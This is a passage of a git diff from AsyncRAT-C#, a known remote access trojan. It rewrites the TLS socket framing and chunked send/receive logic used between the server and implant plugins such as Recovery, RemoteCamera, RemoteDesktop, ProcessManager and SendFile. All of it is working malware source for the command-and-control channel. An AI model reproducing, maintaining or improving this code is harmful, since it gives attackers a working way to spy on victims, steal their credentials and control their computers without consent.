4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -86,13 +87,12 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); GC.Collect(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -104,34 +104,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -163,21 +169,17 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs index 8146f4b..5fb2086 100644 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -86,13 +87,12 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); GC.Collect(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -104,34 +104,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -163,21 +169,17 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs index 558ba67..46b6e05 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs @@ -99,21 +99,17 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs index 30a8c58..fd019c5 100644 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -87,12 +88,11 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -104,34 +104,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -163,21 +169,16 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs index f8f64a2..911592e 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -88,12 +89,11 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -105,34 +105,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -164,21 +170,16 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs index c91760e..827f300 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs @@ -19,9 +19,9 @@ namespace Plugin public static SslStream SslClient { get; set; } public static X509Certificate2 ServerCertificate { get; set; } private static byte[] Buffer { get; set; } - private static long Buffersize { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } private static Timer Tick { get; set; } - private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); public static string Hwid { get; set; } @@ -44,8 +44,9 @@ namespace Plugin IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - Buffer = new byte[4]; - MS = new MemoryStream(); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); @@ -86,13 +87,12 @@ namespace Plugin Tick?.Dispose(); SslClient?.Dispose(); TcpClient?.Dispose(); - MS?.Dispose(); GC.Collect(); } catch { } } - public static void ReadServertData(IAsyncResult ar) + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie { try { @@ -104,35 +104,40 @@ namespace Plugin int recevied = SslClient.EndRead(ar); if (recevied > 0) { - MS.Write(Buffer, 0, recevied); - if (MS.Length == 4) + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) { - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) { - Buffer = new byte[Buffersize]; - while (MS.Length != Buffersize) + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize != 0) { - int rc = SslClient.Read(Buffer, 0, Buffer.Length); - if (rc == 0) + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0 || HeaderSize < 0) { IsConnected = false; return; } - MS.Write(Buffer, 0, rc); - + Offset += rc; + HeaderSize -= rc; } Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); - thread.Start(MS.ToArray()); - Buffer = new byte[4]; - MS.Dispose(); - MS = new MemoryStream(); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; } } - SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { @@ -164,21 +169,16 @@ namespace Plugin if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) + using (MemoryStream memoryStream = new MemoryStream(msg)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); - } while (bytesToRead > 0); - - binaryReader.Dispose(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } } } else diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index 097f01b..50ed95d 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -23,10 +23,9 @@ namespace Server.Connection public ListViewItem LV2 { get; set; } public string ID { get; set; } private byte[] ClientBuffer { get; set; } - private const int HeaderSize = 4; - private int ClientBuffersize { get; set; } + private long HeaderSize { get; set; } + private long Offset { get; set; } private bool ClientBufferRecevied { get; set; } - private MemoryStream ClientMS { get; set; } public object SendSync { get; set; } public long BytesRecevied { get; set; } @@ -43,9 +42,10 @@ namespace Server.Connection try { SslClient.EndAuthenticateAsServer(ar); + Offset = 0; + HeaderSize = 4; ClientBuffer = new byte[HeaderSize]; - ClientMS = new MemoryStream(); - SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); + SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null); } catch { @@ -65,53 +65,60 @@ namespace Server.Connection } else { - int Recevied = SslClient.EndRead(ar); - if (Recevied > 0) + int recevied = SslClient.EndRead(ar); + if (recevied > 0) { + HeaderSize -= recevied; + Offset += recevied; switch (ClientBufferRecevied) { case false: { - ClientMS.Write(ClientBuffer, 0, Recevied); - if (ClientMS.Length == HeaderSize) + if (HeaderSize == 0) { - ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); - ClientMS.Dispose(); - ClientMS = new MemoryStream(); - if (ClientBuffersize > 0) + HeaderSize = BitConverter.ToInt32(ClientBuffer, 0); + if (HeaderSize > 0) { - ClientBuffer = new byte[ClientBuffersize]; - Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); + ClientBuffer = new byte[HeaderSize]; + Debug.WriteLine("/// Server Buffersize " + HeaderSize.ToString() + " Bytes ///"); + Offset = 0; ClientBufferRecevied = true; } } + else if (HeaderSize < 0) + { + Disconnected(); + return; + } break; } case true: { - ClientMS.Write(ClientBuffer, 0, Recevied); lock (Settings.LockReceivedSendValue) - Settings.ReceivedValue += Recevied; - BytesRecevied += Recevied; - if (ClientMS.Length == ClientBuffersize) + Settings.ReceivedValue += recevied; + BytesRecevied += recevied; + if (HeaderSize == 0) { - ThreadPool.QueueUserWorkItem(new Packet { client = this, - data = ClientMS.ToArray(), + data = ClientBuffer, }.Read, null); - + Offset = 0; + HeaderSize = 4; ClientBuffer = new byte[HeaderSize]; - ClientMS.Dispose(); - ClientMS = new MemoryStream(); ClientBufferRecevied = false; } + else if (HeaderSize < 0) + { + Disconnected(); + return; + } break; } } - SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); + SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null); } else { @@ -154,7 +161,6 @@ namespace Server.Connection { SslClient?.Dispose(); TcpClient?.Dispose(); - ClientMS?.Dispose(); } catch { } } @@ -180,25 +186,23 @@ namespace Server.Connection if (buffer.Length > 1000000) //1mb { Debug.WriteLine("send chunks"); - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(buffer)) - using (BinaryReader binaryReader = new BinaryReader(buffereReader)) + using (MemoryStream memoryStream = new MemoryStream(buffer)) { - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - SslClient.Write(chunk, 0, chunk.Length); - SslClient.Flush(); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); lock (Settings.LockReceivedSendValue) - Settings.SentValue += chunk.Length; - } while (bytesToRead > 0); + Settings.SentValue += read; + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(buffer, 0, buffer.Length); SslClient.Flush(); lock (Settings.LockReceivedSendValue) diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index d1d6287..61f4e4b 100644 --- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -14,6 +14,7 @@ using System.Net.Sockets; using Timer = System.Threading.Timer; using Server.Helper; using Server.Algorithm; +using System.Diagnostics; namespace Server.Forms { @@ -79,21 +80,17 @@ namespace Server.Forms if (msg.Length > 1000000) //1mb { - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) - using (BinaryReader binaryReader = new BinaryReader(buffereReader)) + Debug.WriteLine("send chunks"); + using (MemoryStream memoryStream = new MemoryStream(msg)) { - int bytesToRead = (int)buffereReader.Length; - do + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - Client.SslClient.Write(chunk, 0, chunk.Length); - Client.SslClient.Flush(); - BytesSent += chunk.Length; - } while (bytesToRead > 0); - Client?.Disconnected(); + Client.TcpClient.Poll(-1, SelectMode.SelectWrite); + Client.SslClient.Write(chunk, 0, read); + } } } else